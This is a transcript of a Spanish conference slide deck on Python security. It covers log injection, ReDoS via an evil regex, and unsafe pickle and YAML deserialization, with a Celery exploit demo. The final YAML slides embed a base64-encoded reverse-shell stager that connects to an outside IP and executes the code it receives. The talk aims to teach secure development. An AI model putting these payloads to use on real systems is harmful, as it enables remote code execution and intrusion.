Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

Post on 16-Apr-2017

141 views 2 download

Transcript of Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

DANIEL GARCÍA (CR0HN)

SEGURIDAD & PYTHONEL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

https://github.com/cr0hn/i-owasp-madrid

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DE QUÉ VA ESTA CHARLA?

▸ Seguridad en código en Python

▸ OWASP aplicado a Python.

▸ Seguridad práctica en Python

▸ Hacking a Python.

▸ E x p l o t a c i ó n d e vulnerabilidades NO tan típicas…

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES TÍPICAS

▸ Cross Site Scripting (XSS).

▸ SQL Injection

▸ Auth

▸ ….

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES TÍPICAS

▸ Cross Site Scripting (XSS).

▸ SQL Injection

▸ Auth

▸ ….

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES TÍPICAS

▸ Cross Site Scripting (XSS).

▸ SQL Injection

▸ Auth

▸ ….

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES POCO CONOCIDAS

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (1/3)

@app.route("/info", methods=["POST"])def logi(): data = request.form['id'] log.debug("[*] Tried to get info '" + data + "' from the user.") return "got info!"

logi/app.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (1/3)

@app.route("/info", methods=["POST"])def logi(): data = request.form['id'] log.debug("[*] Tried to get info '" + data + "' from the user.") return "got info!"

logi/app.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (2/3)

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (2/3)

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (3/3)

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (3/3)

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (1/3)

Regex: ^(a+)+$

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (1/3)

Regex: ^(a+)+$

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (1/3)

Regex: ^(a+)+$

Denial Of System (DoS)

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (2/3)

@app.route("/mailme/<mail>", methods=["GET"])def logi(mail=None): if re.match(r'^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$', mail): return "mail sent to: %s" % mail else: return "mail forma invalid"

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (2/3)

@app.route("/mailme/<mail>", methods=["GET"])def logi(mail=None): if re.match(r'^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$', mail): return "mail sent to: %s" % mail else: return "mail forma invalid"

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

30 seconds

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES “RARUNAS" I: PICKLE

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QÚE ES Y PARA QUÉ SIRVE PICKLE

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ ES PICKLE

▸ Módulo de Python que permite serializar y deserializar estructuras de Python.

▸ Es muy sencillo de utilizar.

▸ Viene incorporado con las librerías nativas.

▸ Es el formato de serialización por defecto de muchos frameworks.

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ PROBLEMA HAY CON PICKLE?

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ PROBLEMA HAY CON PICKLE?

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ PROBLEMA HAY CON PICKLE?

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

CÓMO FUNCIONA? (1/2)

# -*- coding: utf-8 -*-import pickleclass ImSoHappy(object): def __init__(self): self.my_var = []def main(): pickle.dump(ImSoHappy(), open("my_info.db", "wb")) if __name__ == '__main__': main()

pickle/pickle-good.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

CÓMO FUNCIONA? (1/2)

# -*- coding: utf-8 -*-import pickleclass ImSoHappy(object): def __init__(self): self.my_var = []def main(): pickle.dump(ImSoHappy(), open("my_info.db", "wb")) if __name__ == '__main__': main()

pickle/pickle-good.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

CÓMO FUNCIONA? (2/2)

?c__main__ImSoHappyq)?q}qXmy_varq]qsb.

pickle/my_info.db

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VOLVÁMONOS MALOS

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VOLVÁMONOS MALOS

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI…

▸ Pickle nos permitiera modificar el flujo de deserialización?

▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa?

▸ Y si ejecutaremos cosas malas?

▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI…

▸ Pickle nos permitiera modificar el flujo de deserialización?

▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa?

▸ Y si ejecutaremos cosas malas?

▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… HICIÉRAMOS UNA DEMO?

pickle/pickle-004.py

pickle/pickle-003.py

pickle/pickle-002.py

pickle/pickle-001.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… HICIÉRAMOS UNA DEMO?

pickle/pickle-004.py

pickle/pickle-003.py

pickle/pickle-002.py

pickle/pickle-001.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

CELERY + PICKLE: GRAN FALLO DE SEGURIDAD

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (1/5)

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)

worker2

Worker

worker1

Worker

heavy_action()

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)

Broker

worker2

Worker

worker1

Worker

heavy_action()

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (4/5)

from celery import Celeryapp = Celery(broker="redis://127.0.0.1")@app.task(name="heavy_action")def heavy_action(param): print(param)def main(): # Exploit! app.send_task("heavy_action", (MyLittleBastard(), ))

pickle/celery_exploit.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (5/5)

¡Demo time!

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES “RARUNAS" II: YAML

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ ES EL YAMLimport yamlYAML = '''hello: worldhow: - are - you'''def main(): print(yaml.load(YAML))if __name__ == '__main__': main()

{ 'how': ['are', 'you'], 'hello': ‘world’ }

yml/yml-001.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAMLimport yamlYAML = '''hello: worldhow: - are - youmy_bool: !!bool False'''def main(): print(yaml.load(YAML))

{ 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] }

yml/yml-002.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAMLimport yamlYAML = '''hello: worldhow: - are - youmy_bool: !!bool False'''def main(): print(yaml.load(YAML))

{ 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] }

yml/yml-002.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAML

http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAML

http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAML

http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''

import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''

yml/yml-003.py yml/yml-004.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''

import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''

yml/yml-003.py yml/yml-004.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''

import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''

yml/yml-003.py yml/yml-004.py

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

¡GRACIAS!